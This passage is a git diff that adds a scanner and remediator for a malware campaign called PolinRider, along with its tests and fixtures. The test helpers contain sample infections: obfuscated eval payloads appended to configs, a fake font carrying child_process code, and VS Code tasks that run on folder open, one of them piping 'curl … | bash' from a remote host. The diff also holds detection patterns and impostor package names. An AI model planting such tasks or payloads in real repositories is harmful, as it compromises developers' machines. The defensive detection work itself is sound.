["readme.md"]; + +// Directories where the font-carrier variant is dropped. +export const FONT_DIRS = ["public/fonts", "static", "static/fonts", "assets/fonts", "src/assets/fonts"]; + +// File types that can reference a font via @font-face / url(...) / import. +export const FONT_REF_EXTENSIONS = [ + ".css", + ".scss", + ".sass", + ".less", + ".styl", + ".html", + ".htm", + ".vue", + ".svelte", + ".js", + ".jsx", + ".ts", + ".tsx", + ".mjs", + ".cjs", + ".json", +]; + +// ─── package.json impostor dependencies ──────────────────────────────────────── + +export const IMPOSTOR_DEPS = [ + "tailwindcss-style-animate", + "tailwind-mainanimation", + "tailwind-autoanimation", +]; + +// Lifecycle scripts that fetch + execute remote code during `npm install`. +export const SUSPICIOUS_LIFECYCLE_SCRIPTS = ["preinstall", "install", "postinstall"]; + +// ─── Standalone artifacts ─────────────────────────────────────────────────────── + +export const ARTIFACT_FILES = [ + "temp_auto_push.bat", + "temp_interactive_push.bat", + "config.bat", + "branch_structure.json", +]; + +// Lines PolinRider injects into .gitignore to hide its own artifacts from git. +export const GITIGNORE_INJECTED = [ + "config.bat", + "temp_auto_push.bat", + "temp_interactive_push.bat", + "branch_structure.json", +]; + +export const ENV_PATTERNS = [ + ".env", + ".env.local", + ".env.*.local", + ".env.production", + ".env.development", +]; + +// ─── Helpers (pure) ───────────────────────────────────────────────────────────── + +/** True if `host` matches any known C2 host or family regex. */ +export function isC2Host(text) { + if (typeof text !== "string") return false; + if (C2_HOSTS.some((h) => text.includes(h))) return true; + return C2_HOST_RES.some((re) => re.test(text)); +} + +/** True if `text` looks like a remote-fetch-piped-to-interpreter command. */ +export function isFetchToShell(text) { + if (typeof text !== "string") return false; + const fetches = NET_FETCH_RES.some((re) => re.test(text)) || ANY_URL_RE.test(text); + const pipes = PIPE_SHELL_RES.some((re) => re.test(text)); + return fetches && pipes; +} + +/** True if `text` runs a script interpreter against a font/asset path (e.g. `node ./public/fonts/x.woff2`). */ +export function commandExecutesAsset(text) { + if (typeof text !== "string") return false; + return INTERPRETER_RE.test(text) && ASSET_EXEC_RE.test(text); +} + +/** True if `basename` matches the Font-Awesome family naming the malware disguises itself as. */ +export function isFaFamilyName(basename) { + return typeof basename === "string" && FA_FONT_NAME_RE.test(basename); +} + +/** True if `basename` is a sidecar file the malware drops with its font carrier (e.g. README.md). */ +export function isFontDropSidecar(basename) { + return typeof basename === "string" && FONT_DROP_SIDECARS.includes(basename.toLowerCase()); +} diff --git a/src/walk.js b/src/walk.js new file mode 100644 index 0000000..a20fb29 --- /dev/null +++ b/src/walk.js @@ -0,0 +1,46 @@ +/** + * Minimal recursive file walker shared by the scanner and font analysis. + * + * SAFETY: never follows symlinks — a malicious repo can't use a symlink to + * redirect our reads outside the cloned working tree. Reads nothing here; it + * only yields paths. Excludes .git and node_modules by default. + */ + +import fs from "node:fs/promises"; +import path from "node:path"; + +export const DEFAULT_EXCLUDE = new Set([".git", "node_modules"]); + +/** + * Async-generate absolute file paths under `root`. + * @param {string} root + * @param {{ exclude?: Set }} [opts] + */ +export async function* walkFiles(root, { exclude = DEFAULT_EXCLUDE } = {}) { + let entries; + try { + entries = await fs.readdir(root, { withFileTypes: true }); + } catch { + return; // unreadable directory → yield nothing + } + for (const ent of entries) { + if (ent.isSymbolicLink()) continue; + const full = path.join(root, ent.name); + if (ent.isDirectory()) { + if (exclude.has(ent.name)) continue; + yield* walkFiles(full, { exclude }); + } else if (ent.isFile()) { + yield full; + } + } +} + +/** Collect paths whose extension is in `extensions` (lowercased, with dot). */ +export async function collectByExtension(root, extensions, opts) { + const exts = new Set(extensions.map((e) => e.toLowerCase())); + const out = []; + for await (const file of walkFiles(root, opts)) { + if (exts.has(path.extname(file).toLowerCase())) out.push(file); + } + return out; +} diff --git a/test/_safety-probe.mjs b/test/_safety-probe.mjs new file mode 100644 index 0000000..69797d9 --- /dev/null +++ b/test/_safety-probe.mjs @@ -0,0 +1,19 @@ +// Probe run in a child process so the safety guards don't pollute the main test +// runner. Importing safety.js installs the guards as a side effect. Exits 0 only +// if every escape hatch is blocked. +import "../src/safety.js"; +import assert from "node:assert/strict"; +import { createRequire } from "node:module"; + +const require = createRequire(import.meta.url); + +assert.throws(() => globalThis.eval("1+1"), /disabled|disallow/i, "direct eval not blocked"); +const indirect = eval; +assert.throws(() => indirect("1+1"), "indirect eval not blocked"); +assert.throws(() => new Function("return 1"), "Function constructor not blocked"); +assert.throws(() => function () {}.constructor("return 1"), "fn.constructor not blocked"); +assert.throws(() => require("node:vm"), "require(node:vm) not blocked"); +assert.throws(() => require("vm"), "require(vm) not blocked"); +assert.throws(() => process.binding("spawn_sync"), "process.binding not blocked"); + +console.log("safety-probe OK"); diff --git a/test/ci.test.js b/test/ci.test.js new file mode 100644 index 0000000..e672c66 --- /dev/null +++ b/test/ci.test.js @@ -0,0 +1,236 @@ +/** + * Tests for the GitHub Action frontend (src/ci.js). Exercises input parsing, + * exit-code policy, reporting, and the SARIF builder against real fixtures. + * The git/gh-dependent paths (fix+commit, pr mode) are validated by the + * integration workflow, not here. + */ +import { test, after, beforeEach } from "node:test"; +import assert from "node:assert/strict"; +import fs from "node:fs"; +import path from "node:path"; +import { run, resolveSettings, failThreshold, buildSummary } from "../src/ci.js"; +import { buildSarif } from "../src/sarif.js"; +import { scanRepo } from "../src/scanner.js"; +import { + makeRepo, + mkTmpDir, + cleanupAll, + LEGIT_CONFIG, + INFECTED_TASKS, + ORIGINAL_PAYLOAD, + GENERIC_PAYLOAD, + infectedConfig, +} from "./helpers.js"; + +after(cleanupAll); + +// Every env key run() / resolveSettings() may read — cleared between tests so +// values can't leak across cases. +const MANAGED = [ + "GITHUB_WORKSPACE", "GITHUB_OUTPUT", "GITHUB_STEP_SUMMARY", "GITHUB_EVENT_NAME", + "GITHUB_EVENT_PATH", "GITHUB_REPOSITORY", "GITHUB_REF_NAME", + "DRY_RUN", "AUTO_MERGE", "MERGE_METHOD", "BRANCH_PREFIX", "GH_TOKEN", "GITHUB_TOKEN", "SARIF_FILE", +]; +function clearEnv() { + for (const k of Object.keys(process.env)) if (k.startsWith("INPUT_")) delete process.env[k]; + for (const k of MANAGED) delete process.env[k]; +} +beforeEach(clearEnv); +after(clearEnv); + +/** Set INPUT_* env from a {name: value} map (GitHub Actions convention). */ +function setInputs(inputs) { + for (const [k, v] of Object.entries(inputs)) { + process.env[`INPUT_${k.replace(/ /g, "_").toUpperCase()}`] = String(v); + } +} + +/** Run the action against a workspace dir; returns { code, outputs, summary }. */ +async function runAction(workspace, inputs = {}, extraEnv = {}) { + const io = mkTmpDir("ci-io-"); + const outFile = path.join(io, "out"); + const sumFile = path.join(io, "sum"); + fs.writeFileSync(outFile, ""); + fs.writeFileSync(sumFile, ""); + process.env.GITHUB_WORKSPACE = workspace; + process.env.GITHUB_OUTPUT = outFile; + process.env.GITHUB_STEP_SUMMARY = sumFile; + Object.assign(process.env, extraEnv); + setInputs(inputs); + + const code = await run(); + + const outputs = Object.fromEntries( + fs.readFileSync(outFile, "utf8").split("\n").filter(Boolean).map((l) => { + const i = l.indexOf("="); + return [l.slice(0, i), l.slice(i + 1)]; + }), + ); + return { code, outputs, summary: fs.readFileSync(sumFile, "utf8") }; +} + +const INFECTED_FILES = { + "App.js": infectedConfig(ORIGINAL_PAYLOAD), + ".vscode/tasks.json": INFECTED_TASKS, + "config.bat": "", +}; + +// ─── resolveSettings ─────────────────────────────────────────────────────────── + +test("resolveSettings: defaults", () => { + const s = resolveSettings(); + assert.equal(s.mode, "check"); + assert.equal(s.scanPath, "."); + assert.equal(s.failOn, "infected"); + assert.equal(s.commit, false); + assert.equal(s.commentOnPr, true); + assert.equal(s.mergeMethod, "squash"); + assert.equal(s.branchPrefix, "fix/polinrider-cleanup"); +}); + +test("resolveSettings: INPUT_* parsing incl. hyphenated names", () => { + setInputs({ mode: "FIX", "fail-on": "Suspicious", commit: "true", "comment-on-pr": "false", "merge-method": "REBASE" }); + const s = resolveSettings(); + assert.equal(s.mode, "fix"); + assert.equal(s.failOn, "suspicious"); + assert.equal(s.commit, true); + assert.equal(s.commentOnPr, false); + assert.equal(s.mergeMethod, "rebase"); +}); + +test("resolveSettings: legacy env fallback + INPUT precedence", () => { + process.env.DRY_RUN = "true"; + process.env.AUTO_MERGE = "true"; + process.env.GH_TOKEN = "legacy-token"; + let s = resolveSettings(); + assert.equal(s.dryRun, true); + assert.equal(s.autoMerge, true); + assert.equal(s.token, "legacy-token"); + // An explicit input wins over the token env var. + setInputs({ token: "input-token" }); + s = resolveSettings(); + assert.equal(s.token, "input-token"); +}); + +// ─── failThreshold ───────────────────────────────────────────────────────────── + +test("failThreshold ranks", () => { + assert.equal(failThreshold("never"), Infinity); + assert.equal(failThreshold("suspicious"), 1); + assert.equal(failThreshold("infected"), 2); + assert.equal(failThreshold("anything-else"), 2); +}); + +// ─── check mode exit codes ───────────────────────────────────────────────────── + +test("check: infected → exit 1 + outputs", async () => { + const repo = await makeRepo(INFECTED_FILES); + const { code, outputs, summary } = await runAction(repo, { mode: "check" }); + assert.equal(code, 1); + assert.equal(outputs.severity, "infected"); + assert.equal(outputs.infected, "true"); + assert.equal(outputs["findings-count"], "3"); + assert.equal(outputs.changed, "false"); + assert.match(summary, /PolinRider Malware Scan/); + assert.match(summary, /infected/); +}); + +test("check: clean → exit 0", async () => { + const repo = await makeRepo({ "postcss.config.js": LEGIT_CONFIG }); + const { code, outputs } = await runAction(repo, { mode: "check" }); + assert.equal(code, 0); + assert.equal(outputs.severity, "clean"); + assert.equal(outputs.infected, "false"); +}); + +test("check: fail-on=never never fails, even when infected", async () => { + const repo = await makeRepo(INFECTED_FILES); + const { code, outputs } = await runAction(repo, { mode: "check", "fail-on": "never" }); + assert.equal(code, 0); + assert.equal(outputs.infected, "true"); +}); + +test("check: exclude skips flagged files", async () => { + // A vendored copy that legitimately carries a signature would false-positive; + // excluding it makes the scan clean, while a real infection elsewhere still fails. + const repo = await makeRepo({ + "vendor/sig-sample.js": infectedConfig(ORIGINAL_PAYLOAD), + }); + const withoutExclude = await runAction(repo, { mode: "check" }); + assert.equal(withoutExclude.code, 1); + assert.equal(withoutExclude.outputs.severity, "infected"); + + const withExclude = await runAction(repo, { mode: "check", exclude: "vendor/**" }); + assert.equal(withExclude.code, 0); + assert.equal(withExclude.outputs.severity, "clean"); +}); + +test("check: suspicious repo fails only at fail-on=suspicious", async () => { + const repo = await makeRepo({ "weird.js": `export const x = 1;\n${GENERIC_PAYLOAD}` }); + const def = await runAction(repo, { mode: "check" }); // fail-on=infected + assert.equal(def.outputs.severity, "suspicious"); + assert.equal(def.code, 0); + const strict = await runAction(repo, { mode: "check", "fail-on": "suspicious" }); + assert.equal(strict.code, 1); +}); + +// ─── fix mode (no commit) ────────────────────────────────────────────────────── + +test("fix: cleans the working tree, exit 0, re-scan clean", async () => { + const repo = await makeRepo(INFECTED_FILES); + const { code, outputs } = await runAction(repo, { mode: "fix" }); + assert.equal(code, 0); + assert.equal(outputs.changed, "true"); + assert.equal(outputs.remediated, "true"); + // Payload stripped, legit config kept; malware artifacts gone. + assert.match(fs.readFileSync(path.join(repo, "App.js"), "utf8"), /tailwindcss/); + assert.ok(!fs.existsSync(path.join(repo, ".vscode"))); + assert.ok(!fs.existsSync(path.join(repo, "config.bat"))); + const rescan = await scanRepo(repo); + assert.equal(rescan.severity, "clean"); +}); + +test("fix: confirmed-but-manual-review item leaves exit 1", async () => { + // An impostor dep is content-confirmed but action=manual-review — fix can't + // auto-remove it, so the check must still fail. (Note: remediate also runs + // .gitignore hygiene, so `changed` may be true; the contract under test is the + // exit code and that the impostor dep is NOT silently stripped.) + const repo = await makeRepo({ + "package.json": JSON.stringify({ name: "x", dependencies: { "tailwindcss-style-animate": "^1.0.0" } }), + }); + const { code, outputs } = await runAction(repo, { mode: "fix" }); + assert.equal(outputs.severity, "infected"); + assert.equal(code, 1); // unresolved confirmed item → fail + assert.match(fs.readFileSync(path.join(repo, "package.json"), "utf8"), /tailwindcss-style-animate/); +}); + +// ─── SARIF ───────────────────────────────────────────────────────────────────── + +test("buildSarif: shape + js-payload line from offset", async () => { + const repo = await makeRepo(INFECTED_FILES); + const findings = await scanRepo(repo); + const sarif = buildSarif(findings, { repoRoot: repo, repoDir: repo }); + assert.equal(sarif.version, "2.1.0"); + const driver = sarif.runs[0].tool.driver; + assert.equal(driver.name, "polinrider-cleanup"); + assert.equal(sarif.runs[0].results.length, findings.findings.length); + const js = sarif.runs[0].results.find((r) => r.ruleId.startsWith("js.payload")); + assert.equal(js.level, "error"); + assert.equal(js.locations[0].physicalLocation.artifactLocation.uri, "App.js"); + assert.equal(js.locations[0].physicalLocation.region.startLine, 5); +}); + +// ─── buildSummary ────────────────────────────────────────────────────────────── + +test("buildSummary: includes remediation section when result present", async () => { + const repo = await makeRepo(INFECTED_FILES); + const findings = await scanRepo(repo); + const md = buildSummary({ + settings: { mode: "fix", dryRun: false }, + findings, + result: { dryRun: false, applied: [], notes: ["did a thing"], skipped: [], filesModified: [], filesDeleted: [] }, + }); + assert.match(md, /### Findings/); + assert.match(md, /### Remediation/); + assert.match(md, /did a thing/); +}); diff --git a/test/exclude.test.js b/test/exclude.test.js new file mode 100644 index 0000000..f617893 --- /dev/null +++ b/test/exclude.test.js @@ -0,0 +1,57 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { buildExcluder } from "../src/exclude.js"; + +test("empty patterns → nothing excluded", () => { + const ex = buildExcluder(""); + assert.equal(ex("anything.js"), false); + assert.equal(buildExcluder([])("a/b.js"), false); + assert.equal(buildExcluder(undefined)("a/b.js"), false); +}); + +test("exact file match", () => { + const ex = buildExcluder(["src/signatures.js"]); + assert.equal(ex("src/signatures.js"), true); + assert.equal(ex("src/scanner.js"), false); + assert.equal(ex("other/src/signatures.js"), false); +}); + +test("bare directory matches everything under it", () => { + const ex = buildExcluder(["dist"]); + assert.equal(ex("dist"), true); + assert.equal(ex("dist/ci.mjs"), true); + assert.equal(ex("dist/nested/x.js"), true); + assert.equal(ex("distinct.js"), false); // prefix must be a path boundary +}); + +test("trailing slash and ** behave like a directory", () => { + for (const pat of ["test/", "test/**"]) { + const ex = buildExcluder([pat]); + assert.equal(ex("test/helpers.js"), true, pat); + assert.equal(ex("test/sub/a.js"), true, pat); + assert.equal(ex("tests.js"), false, pat); + } +}); + +test("single * stays within a path segment", () => { + const ex = buildExcluder(["*.min.js"]); + assert.equal(ex("app.min.js"), true); + assert.equal(ex("vendor/app.min.js"), false); // * does not cross "/" + assert.equal(buildExcluder(["vendor/*.js"])("vendor/a.js"), true); + assert.equal(buildExcluder(["vendor/*.js"])("vendor/sub/a.js"), false); +}); + +test("comma/newline separated string + whitespace", () => { + const ex = buildExcluder("src/signatures.js, test/** \n dist/**"); + assert.equal(ex("src/signatures.js"), true); + assert.equal(ex("test/helpers.js"), true); + assert.equal(ex("dist/ci.mjs"), true); + assert.equal(ex("src/scanner.js"), false); +}); + +test("** crosses path segments", () => { + const ex = buildExcluder(["**/fixtures/**"]); + assert.equal(ex("a/b/fixtures/c.js"), true); + assert.equal(ex("fixtures/c.js"), false); // leading **/ requires a segment before + assert.equal(buildExcluder(["**/fixtures/**", "fixtures/**"])("fixtures/c.js"), true); +}); diff --git a/test/fonts.test.js b/test/fonts.test.js new file mode 100644 index 0000000..6cf6d16 --- /dev/null +++ b/test/fonts.test.js @@ -0,0 +1,67 @@ +import { test, after } from "node:test"; +import assert from "node:assert/strict"; +import { readMagic, parseFontStructure, looksSuspicious, collectFontReferences, isReferenced } from "../src/fonts.js"; +import { makeRepo, goodFont, evilFont, validSfnt, validWoff2, REAL_FONT_STRINGS, cleanupAll } from "./helpers.js"; + +after(cleanupAll); + +test("readMagic recognizes common font formats", () => { + assert.equal(readMagic(Buffer.from("wOF2....")), "woff2"); + assert.equal(readMagic(Buffer.from("wOFF....")), "woff"); + assert.equal(readMagic(Buffer.from("OTTO....")), "otf"); + assert.equal(readMagic(Buffer.from([0x00, 0x01, 0x00, 0x00, 0x00])), "ttf"); + assert.equal(readMagic(Buffer.from("nope....")), "unknown"); +}); + +test("parseFontStructure accepts a well-formed sfnt and woff2", () => { + assert.equal(parseFontStructure(validSfnt()).valid, true); + assert.equal(parseFontStructure(validWoff2()).valid, true); +}); + +test("parseFontStructure rejects unknown magic and malformed headers", () => { + assert.equal(parseFontStructure(Buffer.from("global['!']=1;")).valid, false); + // wOF2 magic but a declared length that doesn't match the byte length: + const badWoff2 = Buffer.concat([Buffer.from("wOF2", "latin1"), Buffer.alloc(256, 0x10)]); + assert.equal(parseFontStructure(badWoff2).valid, false); + // OTTO magic but a table directory that runs past EOF: + const badSfnt = Buffer.alloc(16); + badSfnt.write("OTTO", 0, "latin1"); + badSfnt.writeUInt16BE(50, 4); // 50 tables can't fit in 16 bytes + assert.equal(parseFontStructure(badSfnt).valid, false); +}); + +test("looksSuspicious flags a fake font with a JS payload as a confirmed carrier", () => { + const r = looksSuspicious(evilFont(), ".woff2"); + assert.equal(r.bad, true); + assert.equal(r.hasCodeStrings, true); + assert.ok(r.reasons.length >= 1); +}); + +test("looksSuspicious passes a valid, inert font", () => { + const r = looksSuspicious(goodFont(), ".woff2"); + assert.equal(r.bad, false, JSON.stringify(r.reasons)); +}); + +test("looksSuspicious does NOT flag a real font that embeds a license URL + base64-like run", () => { + // Regression: a genuine .otf (valid OTTO structure) whose name table holds a + // vendor URL, plus binary glyph data that looks base64-ish, must stay clean. + const r = looksSuspicious(validSfnt(REAL_FONT_STRINGS), ".otf"); + assert.equal(r.bad, false, JSON.stringify(r.reasons)); + assert.equal(r.hasCodeStrings, false); +}); + +test("looksSuspicious does not flag .eot solely for missing magic", () => { + const eot = Buffer.alloc(64, 0x00); // no recognizable magic, but inert + assert.equal(looksSuspicious(eot, ".eot").bad, false); +}); + +test("collectFontReferences + isReferenced detect a referenced font", async () => { + const repo = await makeRepo({ + "public/fonts/inter.woff2": goodFont(), + "src/styles.css": `@font-face{font-family:Inter;src:url('/fonts/inter.woff2') format('woff2');}`, + "public/fonts/orphan.woff2": goodFont(), + }); + const hay = await collectFontReferences(repo); + assert.equal(isReferenced(hay, "public/fonts/inter.woff2"), true); + assert.equal(isReferenced(hay, "public/fonts/orphan.woff2"), false); +}); diff --git a/test/helpers.js b/test/helpers.js new file mode 100644 index 0000000..a0c13e5 --- /dev/null +++ b/test/helpers.js @@ -0,0 +1,171 @@ +/** + * Test helpers: build throwaway repo trees in the OS temp dir, plus realistic + * payload/font fixtures derived from the real signatures. + */ +import os from "node:os"; +import path from "node:path"; +import fs from "node:fs"; +import fsp from "node:fs/promises"; + +const created = []; + +/** Create a unique temp directory; auto-cleaned by cleanupAll(). */ +export function mkTmpDir(prefix = "polin-test-") { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix)); + created.push(dir); + return dir; +} + +/** + * Write a map of { relativePath: string | Buffer } into `dir`. + * @returns {Promise} dir + */ +export async function writeFiles(dir, files) { + for (const [rel, content] of Object.entries(files)) { + const full = path.join(dir, rel); + await fsp.mkdir(path.dirname(full), { recursive: true }); + await fsp.writeFile(full, content); + } + return dir; +} + +/** Build a repo in a fresh temp dir from a file map. */ +export async function makeRepo(files) { + return writeFiles(mkTmpDir(), files); +} + +export function cleanupAll() { + for (const d of created.splice(0)) { + try { + fs.rmSync(d, { recursive: true, force: true }); + } catch { + /* ignore */ + } + } +} + +// ─── Realistic payload fixtures (match src/signatures.js) ─────────────────────── + +export const LEGIT_CONFIG = `export default {\n plugins: { tailwindcss: {}, autoprefixer: {} },\n};\n`; + +export const ORIGINAL_PAYLOAD = + `global['!']='8-270-2';var _$_1e42=["rmcej%otb%",2857687,2667686];` + + `eval(String.fromCharCode(49,43,49));\n`; + +export const ROTATED_PAYLOAD = + `global['_V']='8-991';var MDy=["Cot%3t=shtP",1111436,3896884];` + + `eval(String.fromCharCode(49,43,49));\n`; + +// Looks like an appended obfuscated blob but matches no KNOWN signature/seed. +export const GENERIC_PAYLOAD = + `global['zz']=42;var _$_abcd=[12,34,56,78,90];eval(atob('MSt1'));\n`; + +export function infectedConfig(payload) { + return LEGIT_CONFIG + "\n" + payload; +} + +// ─── Font fixtures ────────────────────────────────────────────────────────────── + +/** + * Structurally valid WOFF2: correct magic, a declared length that matches the + * actual byte length, and a non-zero table count. Inert padding. + */ +export function validWoff2(size = 64) { + const buf = Buffer.alloc(Math.max(size, 16), 0x00); + buf.write("wOF2", 0, "latin1"); + buf.writeUInt32BE(0x4f54544f, 4); // flavor: OTTO + buf.writeUInt32BE(buf.length, 8); // total length == file size + buf.writeUInt16BE(4, 12); // numTables (non-zero) + return buf; +} + +/** + * Structurally valid OTTO sfnt with a single in-bounds table whose bytes embed + * `extra` text. Used to prove that a genuine font is NOT flagged even when it + * contains a license URL and a long base64-looking run — the exact bytes that + * previously produced false positives on real commercial fonts. + */ +export function validSfnt(extra = "") { + const numTables = 1; + const dirEnd = 12 + numTables * 16; + const body = Buffer.from(extra, "latin1"); + const buf = Buffer.alloc(dirEnd + body.length, 0x00); + buf.write("OTTO", 0, "latin1"); // sfntVersion → otf + buf.writeUInt16BE(numTables, 4); + buf.write("CFF ", 12, "latin1"); // table tag + buf.writeUInt32BE(0, 16); // checksum + buf.writeUInt32BE(dirEnd, 20); // table offset (right after the directory) + buf.writeUInt32BE(body.length, 24); // table length + body.copy(buf, dirEnd); + return buf; +} + +/** A real-font byte pattern that used to trip the old heuristics: a vendor URL + a long base64-ish run. */ +export const REAL_FONT_STRINGS = + "Copyright. http://www.monotypeimaging.com " + "A".repeat(400); + +/** Structurally valid font (default WOFF2), inert padding (no JS-like strings). */ +export function goodFont() { + return validWoff2(256); +} + +/** Fake "font": no font magic + embedded JS payload → confirmed carrier. */ +export function evilFont() { + return Buffer.from( + "global['!']='x';var _$_1e42=[1];eval(require('child_process').toString());function(){}", + "latin1", + ); +} + +// ─── .vscode fixtures ───────────────────────────────────────────────────────────── + +export const LEGIT_TASKS = `{ + // Build tasks + "version": "2.0.0", + "tasks": [ + { "label": "build", "type": "shell", "command": "npm run build" }, + { "label": "test", "type": "npm", "script": "test" }, + ] +} +`; + +export const INFECTED_TASKS = `{ + "version": "2.0.0", + "tasks": [ + { "label": "build", "type": "shell", "command": "npm run build" }, + { + "label": "[auto]", + "type": "shell", + "command": "curl -fsSL https://default-configuration.vercel.app/x | bash", + "runOptions": { "runOn": "folderOpen" } + } + ] +} +`; + +export const LEGIT_LAUNCH = `{ + "version": "0.2.0", + "configurations": [ + { "type": "node", "request": "launch", "name": "Run", "program": "\${workspaceFolder}/index.js" } + ] +} +`; + +// Real-world PolinRider tasks.json: a folderOpen task that runs the payload font +// through node (no curl/URL — the old fetch-to-shell detector missed this). +export const INFECTED_TASKS_NODE = `{ + "version": "2.0.0", + "configurations": [ + { "type": "node", "request": "launch", "name": "Run My Project" } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2)", + "isBackground": true, + "runOptions": { "runOn": "folderOpen" } + } + ] +} +`; diff --git a/test/jsonc.test.js b/test/jsonc.test.js new file mode 100644 index 0000000..c055b5d --- /dev/null +++ b/test/jsonc.test.js @@ -0,0 +1,80 @@ +import { test, after } from "node:test"; +import assert from "node:assert/strict"; +import { parseJsonc, getMember, removeArrayElements } from "../src/jsonc.js"; +import { cleanupAll } from "./helpers.js"; + +after(cleanupAll); + +test("parses JSONC with line + block comments and trailing commas", () => { + const text = `{ + // a comment + "version": "2.0.0", /* inline */ + "tasks": [ + { "label": "a" }, + { "label": "b" }, // trailing comma below + ], + }`; + const r = parseJsonc(text); + assert.equal(r.ok, true, r.error?.message); + assert.equal(r.value.version, "2.0.0"); + assert.equal(r.value.tasks.length, 2); +}); + +test("handles a BOM and comment-like sequences inside strings", () => { + const text = `{ "url": "http://x/y // not a comment", "n": 1 }`; + const r = parseJsonc(text); + assert.equal(r.ok, true, r.error?.message); + assert.equal(r.value.url, "http://x/y // not a comment"); + assert.equal(r.value.n, 1); +}); + +test("reports failure (not throw) on malformed input", () => { + const r = parseJsonc(`{ "a": }`); + assert.equal(r.ok, false); + assert.ok(r.error instanceof Error); +}); + +test("getMember returns the value node for a key", () => { + const r = parseJsonc(`{ "tasks": [1, 2, 3] }`); + const node = getMember(r.ast, "tasks"); + assert.equal(node.type, "array"); + assert.equal(node.elements.length, 3); +}); + +test("removeArrayElements deletes the target element and keeps valid JSON", () => { + const text = `{ + "version": "2.0.0", + "tasks": [ + { "label": "build" }, + { "label": "evil" } + ] +}`; + const r = parseJsonc(text); + const arr = getMember(r.ast, "tasks"); + const edited = removeArrayElements(text, arr, [1]); + const reparsed = parseJsonc(edited); + assert.equal(reparsed.ok, true, reparsed.error?.message); + assert.equal(reparsed.value.tasks.length, 1); + assert.equal(reparsed.value.tasks[0].label, "build"); + assert.equal(reparsed.value.version, "2.0.0"); +}); + +test("removeArrayElements can remove the first element too", () => { + const text = `{ "tasks": [ { "label": "evil" }, { "label": "keep" } ] }`; + const r = parseJsonc(text); + const arr = getMember(r.ast, "tasks"); + const edited = removeArrayElements(text, arr, [0]); + const reparsed = parseJsonc(edited); + assert.equal(reparsed.ok, true, reparsed.error?.message); + assert.deepEqual(reparsed.value.tasks.map((t) => t.label), ["keep"]); +}); + +test("removeArrayElements handles removing adjacent elements", () => { + const text = `{ "tasks": [ {"i":0}, {"i":1}, {"i":2}, {"i":3} ] }`; + const r = parseJsonc(text); + const arr = getMember(r.ast, "tasks"); + const edited = removeArrayElements(text, arr, [1, 2]); + const reparsed = parseJsonc(edited); + assert.equal(reparsed.ok, true, reparsed.error?.message); + assert.deepEqual(reparsed.value.tasks.map((t) => t.i), [0, 3]); +}); diff --git a/test/remediator.test.js b/test/remediator.test.js new file mode 100644 index 0000000..07d40b1 --- /dev/null +++ b/test/remediator.test.js @@ -0,0 +1,136 @@ +import { test, after } from "node:test"; +import assert from "node:assert/strict"; +import fs from "node:fs/promises"; +import { existsSync } from "node:fs"; +import path from "node:path"; +import { scanRepo } from "../src/scanner.js"; +import { remediate } from "../src/remediator.js"; +import { + makeRepo, + cleanupAll, + LEGIT_CONFIG, + INFECTED_TASKS_NODE, + ORIGINAL_PAYLOAD, + ROTATED_PAYLOAD, + infectedConfig, + goodFont, + evilFont, +} from "./helpers.js"; + +after(cleanupAll); + +// git not needed for these (no .git dir) — stub returns "not tracked". +const noGit = async () => ({ exitCode: 1, stdout: "", stderr: "" }); + +test("strips original payload, leaving the legit config byte-identical", async () => { + const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) }); + const findings = await scanRepo(repo); + const result = await remediate(repo, findings, { git: noGit }); + assert.equal(result.changed, true); + const out = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8"); + assert.ok(!out.includes("rmcej%otb%"), "payload signature should be gone"); + assert.ok(!out.includes("global['!']"), "payload start should be gone"); + assert.equal(out, LEGIT_CONFIG.replace(/\s+$/, "") + "\n", "legit config preserved verbatim"); +}); + +test("strips rotated payload", async () => { + const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) }); + const findings = await scanRepo(repo); + await remediate(repo, findings, { git: noGit }); + const out = await fs.readFile(path.join(repo, "tailwind.config.js"), "utf8"); + assert.ok(!out.includes("Cot%3t=shtP")); + assert.ok(!out.includes("global['_V']")); +}); + +test("removes the entire .vscode directory when a malicious task is found", async () => { + const repo = await makeRepo({ + ".vscode/tasks.json": INFECTED_TASKS_NODE, + ".vscode/settings.json": `{ "editor.tabSize": 2 }`, + }); + const findings = await scanRepo(repo); + await remediate(repo, findings, { git: noGit }); + assert.equal(existsSync(path.join(repo, ".vscode")), false, ".vscode removed entirely"); +}); + +test("removes the carrier but preserves a referenced clean font (remove-font-set)", async () => { + const repo = await makeRepo({ + "public/fonts/evil.woff2": evilFont(), + "public/fonts/good.woff2": goodFont(), + "src/app.css": `@font-face{src:url('/fonts/good.woff2');}`, + }); + const findings = await scanRepo(repo); + const result = await remediate(repo, findings, { git: noGit }); + assert.equal(result.changed, true); + assert.equal(existsSync(path.join(repo, "public/fonts/evil.woff2")), false, "carrier removed"); + assert.equal(existsSync(path.join(repo, "public/fonts/good.woff2")), true, "clean font preserved"); + assert.equal(existsSync(path.join(repo, "public/fonts")), true, "fonts dir kept"); +}); + +test("removes the whole fonts dir when it is entirely malware (remove-dir)", async () => { + const repo = await makeRepo({ + "public/fonts/fa-solid-400.woff2": evilFont(), + "public/fonts/fa-brands-400.woff2": goodFont(), + "public/fonts/README.md": "# Font Awesome", + }); + const findings = await scanRepo(repo); + await remediate(repo, findings, { git: noGit }); + assert.equal(existsSync(path.join(repo, "public/fonts")), false, "fonts dir removed"); + assert.equal(existsSync(path.join(repo, "public")), true, "only the fonts dir is removed"); +}); + +test("removes artifacts and strips all injected .gitignore lines", async () => { + const repo = await makeRepo({ + "temp_auto_push.bat": "x", + "temp_interactive_push.bat": "x", + "config.bat": "x", + "branch_structure.json": "{}", + ".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\ntemp_interactive_push.bat\nbranch_structure.json\n", + }); + const findings = await scanRepo(repo); + await remediate(repo, findings, { git: noGit }); + for (const a of ["temp_auto_push.bat", "temp_interactive_push.bat", "config.bat", "branch_structure.json"]) { + assert.equal(existsSync(path.join(repo, a)), false, `${a} removed`); + } + const gi = (await fs.readFile(path.join(repo, ".gitignore"), "utf8")).split(/\r?\n/); + for (const inj of ["config.bat", "temp_auto_push.bat", "temp_interactive_push.bat", "branch_structure.json"]) { + assert.ok(!gi.includes(inj), `${inj} removed from .gitignore`); + } + 